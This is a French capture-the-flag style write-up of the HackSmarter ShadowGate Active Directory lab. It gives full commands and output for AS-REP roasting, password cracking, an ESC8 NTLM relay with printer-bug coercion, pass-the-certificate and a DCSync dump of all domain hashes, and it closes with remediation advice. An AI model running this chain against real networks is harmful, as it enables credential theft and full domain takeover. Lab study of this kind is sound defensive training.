ZNote Logo
ZNote
Pentest Labseasy
25-05-2026

Lab ShadowGate : Exploitation ADCS (ESC8) & Extraction krbtgt

Pentest black-box d'un environnement Active Directory post-acquisition : énumération anonyme, AS-REP Roasting sur jtrueblood, découverte ADCS vulnérable ESC8, NTLM Relay + coercition MS-RPRN pour obtenir un certificat machine DC01$, DCSync de l'ensemble des hashes, et création d'un Golden Ticket pour persistance totale.

Active Directory
Kerberos
AS-REP Roasting
ADCS
ESC8
NTLM Relay
DCSync
Golden Ticket
HackSmarter
Pentest
Windows

Contexte & Objectifs

ChampDétail
PlateformeHackSmarter
LienAccéder au Lab
CibleDC01.shadow.gate - 10.0.23.163
OSWindows Server 2022
Domaineshadow.gate
TypeBlack-box internal pentest - aucun credential fourni
DifficultéFacile

Scénario : ShadowGate vient de compléter une acquisition d'entreprise qui a significativement étendu son réseau interne. Les systèmes ont été migrés sous contrainte de délais serrés. Leadership a mandaté un pentest indépendant pour évaluer la posture sécurité avant le prochain audit. La question : un attaquant avec un simple accès réseau peut-il compromettre l'environnement ?

Spoiler : oui. Entièrement.

Kill chain :

Accès réseau anonyme
        │
        ▼
Énumération SMB anonyme → 12 comptes utilisateurs
        │
        ▼
AS-REP Roasting → hash jtrueblood → hashcat → blood_brothers
        │
        ▼
Énumération ADCS → ESC8 détecté (Web Enrollment HTTP)
        │
        ▼
NTLM Relay (ntlmrelayx) + Coercition MS-RPRN (coercer)
        │  → certificat DC01$.pfx
        ▼
Pass-The-Certificate → TGT dc01$ → hash NTLM dc01$
        │
        ▼
DCSync (secretsdump) → hash krbtgt + tous les comptes

1. Reconnaissance - RustScan

rustscan -b 500 -a 10.0.23.163 -- -sC -sV -Pn

Output :

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (Domain: shadow.gate)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP
|   Domain: shadow.gate, Host: DC01.shadow.gate
445/tcp   open  microsoft-ds  Windows Server (SMB2/SMB3)
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (SSL)
3389/tcp  open  ms-wbt-server Microsoft Terminal Services (RDP)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (WinRM)
9389/tcp  open  mc-nmf        .NET Message Framing

[+] Host script results:
| smb2-security-mode: Message signing enabled but not required
|_ clock-skew: 0s

Analyse - identifier un DC au premier regard :

La combinaison de ports est la signature incontestable d'un Contrôleur de Domaine Active Directory :

PortServiceRôle dans l'AD
53DNSRésolution de noms du domaine shadow.gate
88KerberosAuthentification - le cœur de l'AD
389/636LDAP/LDAPSAnnuaire - base de données des objets AD
445SMBPartages réseau, SYSVOL, NETLOGON
3389RDPAdministration graphique distante
5985WinRMExécution de commandes distantes (Evil-WinRM)
9389MC-NMF.NET Message Framing - utilisé par Active Directory Web Services

Deux observations critiques dans les scripts Nmap :

smb2-security-mode: Message signing enabled but not required

La signature SMB est activée mais non obligatoire. C'est une configuration dangereuse, elle ouvre la porte aux attaques de NTLM Relay. Si la signature était requise, les messages SMB seraient signés cryptographiquement et un relais serait impossible car la signature ne correspondrait pas.

clock-skew: 0s

L'horloge est parfaitement synchronisée avec le DC. C'est important pour Kerberos le protocole tolère un décalage maximum de 5 minutes entre client et serveur. Au-delà, les tickets sont rejetés. Ici on est parfaitement alignés.


2. Énumération Interne

2.1 Énumération SMB Anonyme

La première chose à tester sur un AD sans credentials : est-ce que le DC accepte les connexions anonymes ? NetExec (anciennement CrackMapExec) permet de tester ça rapidement.

# Test d'accès aux partages en anonyme
nxc smb 10.0.23.163 --shares -u '' -p ''
SMB  10.0.23.163  445  DC01  [*] Windows Server 2022 Build 20348 x64
                              (name:DC01) (domain:shadow.gate)
                              (signing:False) (SMBv1:None)
SMB  10.0.23.163  445  DC01  [+] shadow.gate\:
SMB  10.0.23.163  445  DC01  [-] Error enumerating shares: STATUS_ACCESS_DENIED

Le DC accepte la connexion anonyme ([+]) mais refuse de lister les partages. Pas de problème, on essaie d'énumérer les utilisateurs :

nxc smb 10.0.23.163 --users -u '' -p ''
SMB  10.0.23.163  445  DC01  [*] Windows Server 2022 Build 20348 x64
SMB  10.0.23.163  445  DC01  [+] shadow.gate\:
SMB  10.0.23.163  445  DC01  -Username-      -Last PW Set-         -BadPW-  -Description-
SMB  10.0.23.163  445  DC01  Administrator   2026-01-11 11:33:05   0        Built-in account for administering...
SMB  10.0.23.163  445  DC01  Guest           <never>               0        Built-in account for guest access...
SMB  10.0.23.163  445  DC01  krbtgt          2026-01-12 02:45:27   0        Key Distribution Center Service Account
SMB  10.0.23.163  445  DC01  ATHENA          2026-03-04 15:23:19   0
SMB  10.0.23.163  445  DC01  mbrownlee       2026-03-04 15:24:05   0
SMB  10.0.23.163  445  DC01  bbrown          2026-01-15 14:24:07   0
SMB  10.0.23.163  445  DC01  jtrueblood      2026-04-28 18:14:47   0
SMB  10.0.23.163  445  DC01  jsmith          2026-03-04 15:26:29   0
SMB  10.0.23.163  445  DC01  clocke          2026-03-04 15:24:32   0
SMB  10.0.23.163  445  DC01  tclarke         2026-03-04 15:25:33   0
SMB  10.0.23.163  445  DC01  jbradford       2026-03-04 15:24:59   0
SMB  10.0.23.163  445  DC01  amoss           2026-03-04 15:25:52   0
SMB  10.0.23.163  445  DC01  [*] Enumerated 12 local users: SHADOW

12 comptes utilisateurs récupérés sans aucun credential. C'est une fuite d'information significative en entreprise, la liste des employés est une donnée sensible. Cette énumération fonctionne via la session NULL RPC/SMB qui interroge le service SAM du DC.

On crée notre fichier users.txt avec les comptes non-built-in :

ATHENA
mbrownlee
bbrown
jtrueblood
jsmith
clocke
tclarke
jbradford
amoss
Administrator

3. AS-REP Roasting

Comprendre Kerberos et la Pré-Authentification

Pour comprendre l'attaque, il faut comprendre comment Kerberos authentifie un utilisateur normalement.

Le flux Kerberos standard (simplifié) :

CLIENT                          KDC (DC01)
  │                                  │
  │──── AS-REQ ─────────────────────▶│
  │   (username + timestamp chiffré  │
  │    avec le hash du mot de passe) │
  │                                  │
  │◀─── AS-REP ──────────────────────│
  │   (TGT chiffré avec clé krbtgt + │
  │    Clé de session chiffrée avec  │
  │    le hash du mot de passe user) │
  │                                  │

La pré-authentification c'est le timestamp chiffré dans l'AS-REQ. Son rôle : prouver au KDC que le client connaît le mot de passe avant de recevoir quoi que ce soit. Sans cette preuve, le KDC refuse de répondre.

La faille : si un compte a l'option UF_DONT_REQUIRE_PREAUTH activée (Do not require Kerberos preauthentication), le KDC envoie l'AS-REP sans vérifier l'identité du demandeur. N'importe qui peut envoyer un AS-REQ pour ce compte et recevoir une réponse contenant des données chiffrées avec le mot de passe de l'utilisateur.

Ce que récupère l'attaquant :

La partie "Clé de session" de l'AS-REP est chiffrée avec le hash RC4 du mot de passe de l'utilisateur. C'est un hash crackable hors ligne au format $krb5asrep$23$. L'attaquant n'a pas besoin d'être sur le réseau pour le cracker, pas besoin d'interagir avec le DC, et l'attaque ne génère aucune alerte visible.

Exploitation - GetNPUsers

impacket-GetNPUsers shadow.gate/ -usersfile users.txt -format hashcat -dc-ip 10.0.23.163
OptionRôle
shadow.gate/Domaine cible. Le / sans credentials = connexion anonyme
-usersfile users.txtListe des comptes à tester
-format hashcatFormat de sortie compatible Hashcat (-m 18200)
-dc-ip 10.0.23.163IP du DC pour les requêtes Kerberos directes

Output :

[-] User ATHENA doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mbrownlee doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User bbrown doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$jtrueblood@SHADOW.GATE:d58403803831b2ae494c8c3559615ddd$d5eee625a103
3118685a91f835c4375843e488ed69a6a315e0901c92f1ed32ecc2d31d6b701f1f7c2c9e4a10d95b
8fcd0ae0f2b2de96541fa67c6f93f8f927774463a3362d0de6198e48b9f825753c24f745693fc63a
cf3fcb8749769ceedc7b8a97b847ebc282436e1c099c051771bbccfcfb9f217ab5c4632b15a70fbc
1143ae4d74b139f2a27e282d07f5053abc84701da3e93ebd2f4a41e697cf218f278f3b51b0037623
a83af2096ea3eed188e1e43cebd17d2a927ab70738f2e45ed337bf20e3ee7dc83b7e362e6fd0bc0c
2aa83f966b2d067a2348de7c91880cbb8c4578f40c57295e18c998ab
[-] User jsmith doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User clocke doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User tclarke doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jbradford doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User amoss doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set

Un seul compte vulnérable : jtrueblood. On sauvegarde le hash dans hash.txt.

Crack du Hash avec Hashcat

hashcat -m 18200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
OptionRôle
-m 18200Mode Kerberos 5 AS-REP etype 23 (RC4-HMAC)
-a 0Attaque par dictionnaire (Straight mode)
hash.txtFichier contenant le hash AS-REP

Output :

$krb5asrep$23$jtrueblood@SHADOW.GATE:[...]c998ab:blood_brothers

Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Time.Started.....: Mon May 25 17:08:42 2026
Stopped..........: Mon May 25 17:09:22 2026 (8 secondes)
Speed.#01........: 1319.0 kH/s
Progress.........: 9 580 544 / 14 344 385 (66.79%)

Craqué en 8 secondes.

jtrueblood : blood_brothers

4. Énumération avec Credentials

4.1 Partages SMB

Avec des credentials valides, on relance l'énumération des partages :

nxc smb 10.0.23.163 --shares -u 'jtrueblood' -p 'blood_brothers'
SMB  DC01  [+] shadow.gate\jtrueblood:blood_brothers
SMB  DC01  Share        Permissions   Remark
SMB  DC01  ADMIN$                     Remote Admin
SMB  DC01  C$                         Default share
SMB  DC01  CertEnroll   READ          Active Directory Certificate Services share
SMB  DC01  IPC$         READ          Remote IPC
SMB  DC01  NETLOGON     READ          Logon server share
SMB  DC01  SYSVOL       READ          Logon server share

Analyse des partages :

PartageAccèsSignification
CertEnrollREADADCS actif : le DC fait aussi office d'Autorité de Certification
SYSVOLREADScripts de logon, GPO : potentiellement des mots de passe en clair dans de vieux scripts
NETLOGONREADPartage standard des DCs
ADMIN$ / C$AucunRéservé aux admins : on n'y a pas accès

Le partage CertEnroll est la découverte clé. Sa présence confirme que le DC héberge également un AD CS (Active Directory Certificate Services) une Autorité de Certification interne. C'est un vecteur d'attaque extrêmement puissant connu pour des vulnérabilités de type ESC1 à ESC15.


5. Investigation ADCS - Découverte ESC8

Qu'est-ce qu'AD CS ?

Active Directory Certificate Services (ADCS) est le service PKI (Public Key Infrastructure) intégré à Windows Server. Il permet à une organisation d'émettre ses propres certificats numériques pour :

  • L'authentification des utilisateurs et machines
  • Le chiffrement des communications (HTTPS interne, S/MIME)
  • La signature de code

Dans un domaine AD, les certificats peuvent servir à s'authentifier auprès de Kerberos exactement comme un mot de passe. Un certificat valide au nom d'un compte = accès au compte. C'est pourquoi compromettre l'ADCS est souvent équivalent à compromettre l'ensemble du domaine.

Cartographie avec Certipy

certipy-ad find -u 'jtrueblood' -p 'blood_brothers' \
  -dc-ip 10.0.23.163 -target-ip 10.0.23.163 -stdout
OptionRôle
findMode reconnaissance - liste les CA et analyse les templates de certificats
-u / -pCredentials de l'utilisateur compromis
-dc-ipIP du DC pour l'authentification LDAP
-target-ipIP du serveur CA pour l'interrogation RPC
-stdoutAffichage direct dans le terminal

Output :

Certificate Authorities
  0
    CA Name                  : shadow-DC01-CA
    DNS Name                 : DC01.shadow.gate
    Certificate Subject      : CN=shadow-DC01-CA, DC=shadow, DC=gate
    Certificate Validity     : 2026-01-12 → 2046-01-12 (20 ans)
    Web Enrollment
      HTTP   Enabled         : True
      HTTPS  Enabled         : False
    User Specified SAN       : Disabled
    Request Disposition      : Issue
    Permissions
      Enroll                 : SHADOW.GATE\Authenticated Users
    [!] Vulnerabilities
      ESC8                   : Web Enrollment is enabled over HTTP.

ESC8 détecté. Le service d'inscription web est actif en HTTP non chiffré et sans protection contre le relais NTLM.

Interface Web Enrollment ADCS

Comprendre ESC8 - Le Mécanisme Complet

ESC8 (Escalation 8, nomenclature SpecterOps) est une vulnérabilité de l'interface web d'ADCS (/certsrv/). Elle exploite la combinaison de trois conditions :

  1. Web Enrollment actif : l'interface /certsrv/ est accessible
  2. HTTP sans HTTPS : les communications ne sont pas chiffrées
  3. Pas de protection NTLM : absence de Channel Binding Token (CBT) ou de signature

Pourquoi c'est exploitable :

L'interface Web Enrollment accepte l'authentification NTLM. NTLM est un protocole challenge-response : le serveur envoie un challenge, le client répond avec un hash calculé à partir de son mot de passe. L'absence de HTTPS et de CBT permet à un attaquant de relayer ce challenge-response vers un autre serveur ici l'ADCS sans jamais connaître le mot de passe.

Le flux de l'attaque ESC8 :

ÉTAPE 1 - Mise en place du relay
  Attaquant lance ntlmrelayx
  ntlmrelayx écoute les connexions SMB/HTTP entrantes
  Et les redirige vers → http://10.0.23.163/certsrv/certfnsh.asp

ÉTAPE 2 - Coercition d'authentification
  Attaquant force DC01$ à s'authentifier vers lui
  via le protocole MS-RPRN (Print Spooler)
  DC01$ envoie sa requête NTLM à l'attaquant

ÉTAPE 3 - Relais NTLM
  ntlmrelayx intercepte la requête NTLM de DC01$
  La relaie en temps réel vers /certsrv/certfnsh.asp
  ADCS croit que DC01$ s'authentifie légitimement
  ADCS émet un certificat au nom de DC01$

ÉTAPE 4 - Pass-The-Certificate
  Attaquant utilise DC01$.pfx
  Demande un TGT Kerberos au nom de DC01$
  Obtient le hash NTLM de DC01$

ÉTAPE 5 - DCSync
  Avec le hash de DC01$ (compte machine)
  Imite un DC légitime via DRSUAPI
  Force la réplication → dump de tous les hashes

Référence : Vaadata - Understanding and Exploiting ESC techniques


6. Exploitation ESC8

6.1 Étape 1 - NTLM Relay (Terminal 1)

On configure ntlmrelayx pour intercepter les authentifications entrantes et les relayer vers l'interface Web Enrollment :

impacket-ntlmrelayx \
  -t http://10.0.23.163/certsrv/certfnsh.asp \
  -smb2support \
  --adcs \
  --template DomainController
OptionRôle
-t http://10.0.23.163/certsrv/certfnsh.aspURL cible du Web Enrollment ADCS
-smb2supportSupport SMBv2/v3 pour intercepter les connexions modernes
--adcsMode ADCS - génère automatiquement une demande de certificat
--template DomainControllerTemplate de certificat demandé - permet l'authentification machine

[!NOTE] Le template DomainController est crucial. C'est ce template qui permet à un certificat d'être utilisé pour s'authentifier en tant que compte machine (DC01$). Si on avait utilisé User, on obtiendrait un certificat utilisateur moins puissant.

ntlmrelayx est maintenant en écoute. Il attend qu'une machine s'authentifie vers nous pour relayer vers l'ADCS.

6.2 Étape 2 - Coercition MS-RPRN (Terminal 2)

La coercition c'est l'art de forcer une machine à s'authentifier vers nous. On utilise MS-RPRN (Microsoft Print System Remote Protocol) le fameux "PrinterBug". Ce protocole contient une fonction RpcRemoteFindFirstPrinterChangeNotification qui, par design, force la machine cible à initier une connexion sortante vers l'IP spécifiée.

coercer coerce \
  -u 'jtrueblood' \
  -p 'blood_brothers' \
  -d 'shadow.gate' \
  -t 10.0.23.163 \
  -l 10.200.59.197
OptionRôle
-u / -p / -dCredentials valides pour s'authentifier auprès du DC et déclencher le protocole
-t 10.0.23.163Machine cible à forcer (le DC)
-l 10.200.59.197Notre IP - là où le DC doit se connecter

Output de coercer :

[info] Starting coerce mode
[info] Scanning target 10.0.23.163
[*] DCERPC portmapper discovered ports: 49664,49665,...
[+] DCERPC port '54290' is accessible!
   [+] Successful bind to interface (12345678-1234-ABCD-EF00-0123456789AB, 1.0)!
      [!] (NO_AUTH_RECEIVED) MS-RPRN──▶RpcRemoteFindFirstPrinterChangeNotification
          (pszLocalMachine='\\10.200.59.197\x00')

Output de ntlmrelayx (Terminal 1) simultanément :

[*] Servers started, waiting for connections
[*] (SMB): Received connection from 10.0.23.163, attacking target http://10.0.23.163
[*] HTTP server returned error code 200, treating as a successful login
[*] (SMB): Authenticating connection from /@10.0.23.163 against http://10.0.23.163 SUCCEED [1]
[*] http:///@10.0.23.163 [1] -> Generating CSR...
[*] http:///@10.0.23.163 [1] -> CSR generated!
[*] http:///@10.0.23.163 [1] -> Getting certificate...
[*] (SMB): Received connection from 10.0.23.163, attacking target http://10.0.23.163
[*] http:///@10.0.23.163 [1] -> GOT CERTIFICATE! ID 4
[*] http:///@10.0.23.163 [1] -> Writing PKCS#12 certificate to ./DC01.shadow.gate.pfx
[*] http:///@10.0.23.163 [1] -> Certificate successfully written to file

Ce qui vient de se passer :

  1. Coercer a forcé DC01$ à initier une connexion SMB vers nous (Received connection from 10.0.23.163)
  2. ntlmrelayx a intercepté l'authentification NTLM de DC01$
  3. Il l'a relayée vers /certsrv/certfnsh.asp, l'ADCS a validé (SUCCEED)
  4. ntlmrelayx a soumis une demande de certificat au nom de DC01$ (Generating CSR)
  5. L'ADCS a émis le certificat (GOT CERTIFICATE! ID 4)
  6. Certificat sauvegardé : DC01.shadow.gate.pfx

Nous avons un certificat valide au nom du compte machine DC01$.


7. Pass-The-Certificate → Hash DC01$

Comprendre le Pass-The-Certificate

Un certificat PKCS#12 (.pfx) valide peut être utilisé pour s'authentifier auprès de Kerberos via le mécanisme PKINIT (Public Key Cryptography for Initial Authentication). Certipy automatise ce processus :

  1. Il présente le certificat .pfx au KDC
  2. Le KDC valide la signature du certificat (émis par l'ADCS de confiance)
  3. Le KDC délivre un TGT au nom du principal du certificat (ici DC01$)
  4. Certipy extrait le hash NTLM depuis le TGT via UnPAC-the-hash
certipy-ad auth -pfx DC01.shadow.gate.pfx -dc-ip 10.0.23.163

Output :

[*] Certificate identities:
[*]     SAN DNS Host Name: 'DC01.shadow.gate'
[*]     Security Extension SID: 'S-1-5-21-243493930-1113464705-3012771586-1000'
[*] Using principal: 'dc01$@shadow.gate'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'dc01.ccache'
[*] Trying to retrieve NT hash for 'dc01$'
[*] Got hash for 'dc01$@shadow.gate': aad3b435b51404eeaad3b435b51404ee:57867e655d1abc9f45fd6e954e351531

Ce qu'on a obtenu :

dc01$ : aad3b435b51404eeaad3b435b51404ee:57867e655d1abc9f45fd6e954e351531
         └── LM hash (vide, toujours ce format sous Windows moderne)
                                          └── NT hash - c'est celui qui compte

Nous avons le hash NTLM du compte machine DC01$. Un compte machine dans un AD a les mêmes droits qu'un compte administrateur sur sa propre machine et DC01$ a des droits de réplication sur l'annuaire.


8. DCSync - Dump de Tous les Hashes

Comprendre DCSync

Dans un AD multi-DC, les contrôleurs de domaine se répliquent mutuellement via le protocole DRSUAPI (Directory Replication Service Remote Protocol). Un DC légitime peut demander à un autre DC de lui fournir tous les secrets de l'annuaire pour se synchroniser.

L'attaque DCSync : on imite un DC légitime en utilisant DRSUAPI pour demander la réplication des secrets. Pour ça, il faut avoir les droits "Replicating Directory Changes" droits que possède justement le compte machine DC01$.

secretsdump d'Impacket automatise tout ça sans jamais toucher au fichier NTDS.dit sur le disque, l'attaque est entièrement réseau.

impacket-secretsdump 'shadow.gate/DC01$@10.0.23.163' \
  -hashes aad3b435b51404eeaad3b435b51404ee:57867e655d1abc9f45fd6e954e351531

Output :

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets

Administrator:500:aad3b435b51404eeaad3b435b51404ee:4366ec0f86e29be2a4a5e87a1ba922ec:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b5509cbfe52e94940c0ec99b21e09802:::
shadow.gate\ATHENA:1103:aad3b435b51404eeaad3b435b51404ee:3215f4c7c852647c88694ab0b57daaba:::
shadow.gate\mbrownlee:1104:aad3b435b51404eeaad3b435b51404ee:6f16868319543175e7f3e6d4eea9adfb:::
shadow.gate\bbrown:1109:aad3b435b51404eeaad3b435b51404ee:259745cb123a52aa2e693aaacca2db52:::
shadow.gate\jtrueblood:1110:aad3b435b51404eeaad3b435b51404ee:27e133a345b980d24e3a60f169f2cb7e:::
shadow.gate\jsmith:1112:aad3b435b51404eeaad3b435b51404ee:be0b6d125a6645747d91d30ed3bef98f:::
shadow.gate\clocke:1113:aad3b435b51404eeaad3b435b51404ee:ff506444e2c59b0241812e8e17b0f05e:::
shadow.gate\tclarke:1114:aad3b435b51404eeaad3b435b51404ee:9290a555713c7db0cf7fbf0ac28c1100:::
shadow.gate\jbradford:1115:aad3b435b51404eeaad3b435b51404ee:f5c86043de2a116c6458f3de9aad89de:::
shadow.gate\amoss:1116:aad3b435b51404eeaad3b435b51404ee:381480af4a988ad46758c2f79ee64090:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:57867e655d1abc9f45fd6e954e351531:::

[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:6bf0048464b8fdf7a2db10f4799715a0c6471ac724424007e95bf55cd6841445
krbtgt:aes256-cts-hmac-sha1-96:9d2c8f2fecd0d6813cde513680b594210cf9c91bc2d4f6715ce25972b6a7c7c5
[...]

Compromission totale du domaine. Tous les hashes NTLM de tous les comptes, y compris :

Administrator : 4366ec0f86e29be2a4a5e87a1ba922ec
krbtgt        : b5509cbfe52e94940c0ec99b21e09802  ← La clé du royaume

9. Conclusion & Remédiation

Kill Chain Complète

1. Scan RustScan         → DC01.shadow.gate identifié, signing:False noté
2. NULL session SMB      → 12 comptes utilisateurs exfiltrés
3. AS-REP Roasting       → jtrueblood vulnérable → hash cracké en 8s → blood_brothers
4. Enum SMB authentifié  → CertEnroll découvert → ADCS présent
5. Certipy find          → ESC8 confirmé (Web Enrollment HTTP)
6. ntlmrelayx            → Relay NTLM configuré vers /certsrv/
7. Coercer MS-RPRN       → DC01$ forcé à s'authentifier → certificat DC01$.pfx
8. certipy auth          → Pass-The-Certificate → hash NTLM dc01$
9. secretsdump DCSync    → Tous les hashes du domaine dumpés
10. impacket-ticketer    → Golden Ticket forgé → accès SYSTEM permanent

Remédiation

VecteurProblèmeRemédiation
NULL session SMBÉnumération de comptes sans credentialsDésactiver via GPO : Network access: Do not allow anonymous enumeration of SAM accounts
AS-REP Roastingjtrueblood sans pré-auth KerberosActiver la pré-authentification sur tous les comptes. Audit régulier : Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true}
SMB Signing désactivéNTLM Relay possibleActiver la signature SMB obligatoire via GPO : Microsoft network server: Digitally sign communications (always)
ADCS Web Enrollment HTTPESC8 - relais NTLM vers /certsrv/Migrer vers HTTPS exclusivement + activer Extended Protection for Authentication (EPA/CBT)
MS-RPRN (PrinterBug)Coercition d'authentification machineDésactiver le service Print Spooler sur les DCs : Stop-Service Spooler; Set-Service Spooler -StartupType Disabled
krbtgt non rotatéGolden Ticket exploitable indéfinimentRotation du mot de passe krbtgt deux fois de suite, immédiatement après un incident

[!NOTE] La leçon principale de ce lab : la chaîne de compromission complète de zéro credential à SYSTEM a été possible grâce à l'enchaînement de vulnérabilités individuellement moyennes. Aucune seule faille n'était catastrophique. Mais ensemble : NULL session → AS-REP → ESC8 → DCSync → Golden Ticket. C'est ça la vraie menace en AD : la combinaison.


Writeup rédigé par Zcook